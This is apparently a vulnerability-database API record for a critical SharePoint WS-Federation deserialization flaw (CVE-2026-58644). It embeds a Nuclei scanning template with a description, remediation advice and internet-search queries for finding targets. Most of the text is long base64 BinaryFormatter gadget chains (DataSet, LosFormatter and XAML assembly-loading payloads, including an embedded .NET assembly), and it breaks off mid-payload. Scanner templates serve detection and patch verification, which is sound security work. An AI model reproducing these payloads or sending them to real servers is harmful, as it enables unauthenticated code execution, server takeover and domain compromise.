{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-58644/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-58644/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-58644/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-58644/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-58644/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-58644"},"sightings":{"href":"/api/v1/sightings/cve-2026-58644"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-58644.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-58644\n\ninfo:\n  name: Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE\n  author: pdteam\n  severity: critical\n  description: |\n    Microsoft SharePoint Server (2016, 2019, Subscription Edition <= 2026.3.1) contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint (/_trust/default.aspx). The SharePoint authentication module (SPFederationAuthenticationModuleV2) uses a deflate-only DeflateCookieTransform (no MAC/signature check) to decode and BinaryFormatter to deserialize the SecurityContextToken Cookie value in the wresult parameter without type restrictions. An unauthenticated attacker can send a crafted WS-Federation token containing a BinaryFormatter gadget chain (DataSet + LosFormatter + XamlAssemblyLoadFromFile) to execute arbitrary code in the context of the IIS application pool identity (w3wp.exe). The fix (KB5002882, July 2026 CU) replaces the DeflateCookieTransform with\n    NotSupportedCookieTransform, making ReadToken() throw before deserialization.\n  impact: |\n    Unauthenticated attackers can achieve remote code execution as the SharePoint application pool identity (typically a domain service account). This enables full SharePoint farm compromise, machine key extraction for persistent forged authentication tokens, and lateral movement within the domain.\n  remediation: |\n    Apply the July 2026 Cumulative Update (KB5002882 / build 16.0.19725.20434 or later). After patching, rotate farm machine keys using Set-SPMachineKey or Update-SPMachineKey and perform iisreset to revoke any pre-compromise stolen keys. Enable AMSI request-body scanning for /_trust/default.aspx as defense in depth.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-58644\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-58644\n    - https://github.com/WismanSec/sharepoint-2026-poc\n    - https://www.rapid7.com/blog/post/etr-cve-2026-58644-microsoft-sharepoint-server-unauthenticated-remote-code-execution-vulnerability-exploited-in-the-wild/\n    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF1_Release_Notes.htm\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-58644\n    cwe-id: CWE-502\n    epss-score: 0.60944\n    epss-percentile: 0.99112\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: microsoft\n    product: sharepoint_server\n    shodan-query: http.component:\"sharepoint\"\n    fofa-query: app=\"Microsoft-SharePoint\"\n  tags: cve,cve2026,sharepoint,rce,deserialization,microsoft,kev,vkev\n\nvariables:\n  dataset_gadget_b64: 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L'\n\n  internal_gadget_b64: '/wEy1jAAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAAAYHAAAAqiA8UmVzb3VyY2VEaWN0aW9uYXJ5CnhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iCnhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIgp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiIKeG1sbnM6cj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uUmVmbGVjdGlvbjthc3NlbWJseT1tc2NvcmxpYiIKeG1sbnM6aT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uSU87YXNzZW1ibHk9bXNjb3JsaWIiCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLklPLkNvbXByZXNzaW9uO2Fzc2VtYmx5PVN5c3RlbSIKPgogICA8czpBcnJheSB4OktleT0iZGF0YSIgeDpGYWN0b3J5TWV0aG9kPSJzOkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyI+CiAgICAgIDx4OkFyZ3VtZW50cz4KICAgICAgICAgPHM6U3RyaW5nPkg0c0lBQUFBQUFBRUFPMVd5MDljVlJqLzNXRm9oNkVRS0xXV3BOYUxVRU45M0F4bDhORVlTeG13WUhqSndORFlKbkJuNWdqWDNMbDNldThkaEM2MExqUTFNV3FpY2VmS1RSZGROS2JHeHNURWhWdVdibHp4QjVqb1ZoZmk3NXg3NXdGTVVqYW1pZUc3Yzc1enpuZSt4Kzg3ejVsNSt3dTBBSWl6N080Q0R4SFNLQjVOdDFrNm4vNnhFdy9hdHZzZWF0UGJmWXZybHErWFBYZk5NMHQ2d1hRY045RHpRdmNxam00NSt2aGNWaSs1UldGMGRDUUhJaC96RThDMDFvTHlxUS9YcTM1M0VPdHIxOXFCWXdnTDZadzAwR3ZBdWxRN0Z1SUc2clVDRlF1YkxSajlTS3JLWDcydVZZcCs2UWVXbzRUdnhwb2t1UXFjT01SY0hDRGlTelIwRSt4UE52U05RR3dHckFmaW9hN0tjMTk4aWxjTnovY0tpTEFSbzBvMHNWZVA0bEhERTdaYmlMQ3VScjVPSE5BYk80QXpXb2hKWmRLS1RRYWQ1b2JRRHBGaU0vbzZOa2pyNUNCaEp0MVd5WmhZMHFPN3N0ZEQ1aDVuOXprQ3liNDVwa1ZSSk15TnRKRXlobFBEUTY5S1NTdHM4ck1jN244ZnVNTjZRTGF6Z1djNWE3N1V1TWY4MHF6N2w3TFlpWVZyMm45MWFXcWM5Wi9zMzVEOU1kdk5SN2dvMHE2ZUF0cGs1Ky96d3pnZDVsaWRkdGsrM3RCdVVWYkpDT0V4WE1BejVEbThSTDVCbnNSZGZFUCtNM2tuL3NKdlNrK0x1UHk2OEtUS1JMYm5kU24vK0V4S2VleEdpamE5a0wwMnhmdndBR2ZKdDFrdW9FTjdGa1BvMVo2SGdYYTJEUFRnRXVLMzk4LzFWMmpZOXlwdXI2b2JaVDNFdDErbU1aY2F2VGJqRml1MmVCMmwwbEJ4Sk8zZk5JcTJqUW1VL0lMcjJWWWUyUzAvRUNYTTVkOFZoUUJHSVhDOVNHWXNWSnpBS2drajQ1YktsaTI4clBBMnJJTHdFUXJNd0hLZEJXR2JtNnJsWHdtNGZ2bEtJQkFaU2pVTzVTM2JDcmJxbzFVazFURExJby9KSUNoblhFZWRtalVSckdRcW5pZWNRTWtYaEYrbWU2RUdhcDNJT09QYU5vSEwrRWEyTEFxV2FWdTNSQkd6Wmtua1RMc2k2Z3JLZmxLWVJlSDU4Tm1la29tVHVxL2hSY3lpZ2dMM3BZQUY3YWtNOThJRXBSZTVmaGN4d3RZSWh2RXl2NVRhQmQ5K3Y1UzYzdmZaNUtmZk9kZG52dno4TFNSK3VIVWoxNXZlK2FSRmh4YlhOUzJSdUg5NTVZUHVYNU9YdURZbnUrTTZUajRoV1crckh0TTZPeE5hZE16UHlRMjBHRHU5N0pubFdkZVoyQ3lJc2tTN3VPNjU3L2t5MXUvOTllWHNyTjZUeldpZ21YQWw0M3JqdGoxaldrNjQ2RUtvTFNCcDl6eDlkVFd6T3FML0kybHFzYytFcitnZXVkeG5xU1p5U2ZMdHVEYktkNlBoL1pxT3lkczVoeXhXMUVsWllHc0tjenhGSzZ4bjhRYmJrbjZLLy9GUHM5Zm1jbFRMZTJ2L3N6eXVJdWRnd3FNZlM1M0pLVGg0QjY0YUgxQldpeHcxS2ZVNWJpS2duc3RlU1Bmajl6VHBJMHU1eHhFZS9TYWU3aWlkVk8xTEl5L25BQzhRa1ZiVEgyZnhlVE5JUCtVOWNYUTFaNGtHM1J5TFIrMjZUb3EzZTczd09rWUg5U1dHUU9rNnhHNXp2a3lVMkFkNWlTOUNrYmRObW41dTBxckk4ZkMwRGlwYzA5UmJVMVlaUmlsalN5RmJ3enFDQ05PNGlqRVh5YTBvUmhXamM2aFlhWlhYUEgyNGxNcWJNVGlRM2Y3Y1hsRTJWNmpoVTdQRTJiU0pUbitrM1JIOWg2U0gvNy8wOU9NR2NrU1BnLzRGQmVCNm53QU9BQUE9PC9zOlN0cmluZz4KICAgICAgPC94OkFyZ3VtZW50cz4KICAgPC9zOkFycmF5PgogICA8aTpNZW1vcnlTdHJlYW0geDpLZXk9ImlucHV0U3RyZWFtIj4KICAgICAgPHg6QXJndW1lbnRzPgogICAgICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImRhdGEiPjwvU3RhdGljUmVzb3VyY2U+CiAgICAgIDwveDpBcmd1bWVudHM+CiAgIDwvaTpNZW1vcnlTdHJlYW0+CiAgIDxjOkdaaXBTdHJlYW0geDpLZXk9Imd6aXBTdHJlYW0iPgogICAgICA8eDpBcmd1bWVudHM+CiAgICAgICAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iaW5wdXRTdHJlYW0iPjwvU3RhdGljUmVzb3VyY2U+CiAgICAgICAgICAgIDxjOkNvbXByZXNzaW9uTW9kZT4wPC9jOkNvbXByZXNzaW9uTW9kZT4KICAgICAgPC94OkFyZ3VtZW50cz4KICAgPC9jOkdaaXBTdHJlYW0+CiAgIDxzOkFycmF5IHg6S2V5PSJidWYiIHg6RmFjdG9yeU1ldGhvZD0iczpBcnJheS5DcmVhdGVJbnN0YW5jZSI+CiAgICAgIDx4OkFyZ3VtZW50cz4KICAgICAgICAgPHg6VHlwZSBUeXBlTmFtZT0iczpCeXRlIi8+CiAgICAgICAgIDx4OkludDMyPjM1ODQ8L3g6SW50MzI+CiAgICAgIDwveDpBcmd1bWVudHM+CiAgIDwvczpBcnJheT4KICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0idG1wIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGd6aXBTdHJlYW19IiBNZXRob2ROYW1lPSJSZWFkIj4KICAgICAgPE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImJ1ZiI+PC9TdGF0aWNSZXNvdXJjZT4KICAgICAgICAgPHg6SW50MzI+MDwveDpJbnQzMj4KICAgICAgICAgPHg6SW50MzI+MzU4NDwveDpJbnQzMj4KICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJhc21Mb2FkIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHI6QXNzZW1ibHl9IiBNZXRob2ROYW1lPSJMb2FkIj4KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+CiAgICAgICAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iYnVmIj48L1N0YXRpY1Jlc291cmNlPgogICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+CiAgICA8L09iamVjdERhdGFQcm92aWRlcj4KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9InR5cGVzIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGFzbUxvYWR9IiBNZXRob2ROYW1lPSJHZXRUeXBlcyI+CiAgICAgICAgPE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzLz4KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPgogICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iZmlyc3RUeXBlIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIHR5cGVzfSIgTWV0aG9kTmFtZT0iR2V0VmFsdWUiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPHM6SW50MzI+MDwvczpJbnQzMj4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJjcmVhdGVJbnN0YW5jZSIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBmaXJzdFR5cGV9IiBNZXRob2ROYW1lPSJJbnZva2VNZW1iZXIiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPHg6TnVsbC8+CiAgICAgICAgICAgIDxyOkJpbmRpbmdGbGFncz41MTI8L3I6QmluZGluZ0ZsYWdzPgogICAgICAgICAgICA8eDpOdWxsLz4KICAgICAgICAgICAgPHg6TnVsbC8+CiAgICAgICAgICAgIDx4Ok51bGwvPgogICAgICAgICAgICA8eDpOdWxsLz4KICAgICAgICAgICAgPHg6TnVsbC8+CiAgICAgICAgICAgIDx4Ok51bGwvPgogICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+CiAgICA8L09iamVjdERhdGFQcm92aWRlcj4KPC9SZXNvdXJjZURpY3Rpb25hcnk+BAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAADIAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAAWFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUGDgAAACBTeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcgYPAAAABVBhcnNlCRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAACJTeXN0ZW0uT2JqZWN0IFBhcnNlKFN5c3RlbS5TdHJpbmcpBhUAAAAiU3lzdGVtLk9iamVjdCBQYXJzZShTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw=='\n\n  internal_gadget2_b64: '/wEykEgAAQAAAP////8BAAAAAAAAAAQBAAAAO1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLk9iamVjdCxtc2NvcmxpYl1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABeU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAkgAAAADw0AAAAADgAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEUAAEwBAwDREYJoAAAAAAAAAADgAAIhCwELAAAGAAAABgAAAAAAAB4kAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAgAAAAAIAAAAAAAADAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADEIwAAVwAAAABAAACoAgAAAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAACQEAAAAIAAAAAYAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAACoAgAAAEAAAAAEAAAACAAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgAAAAAgAAAAwAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAACQAAAAAAABIAAAAAgAFAHggAABMAwAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACWAigDAAAKKAQAAApvBQAACm8GAAAKcgEAAHByEwAAcG8HAAAKKgAAQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAAHAEAACN+AACIAQAAJAEAACNTdHJpbmdzAAAAAKwCAAA0AAAAI1VTAOACAAAQAAAAI0dVSUQAAADwAgAAXAAAAC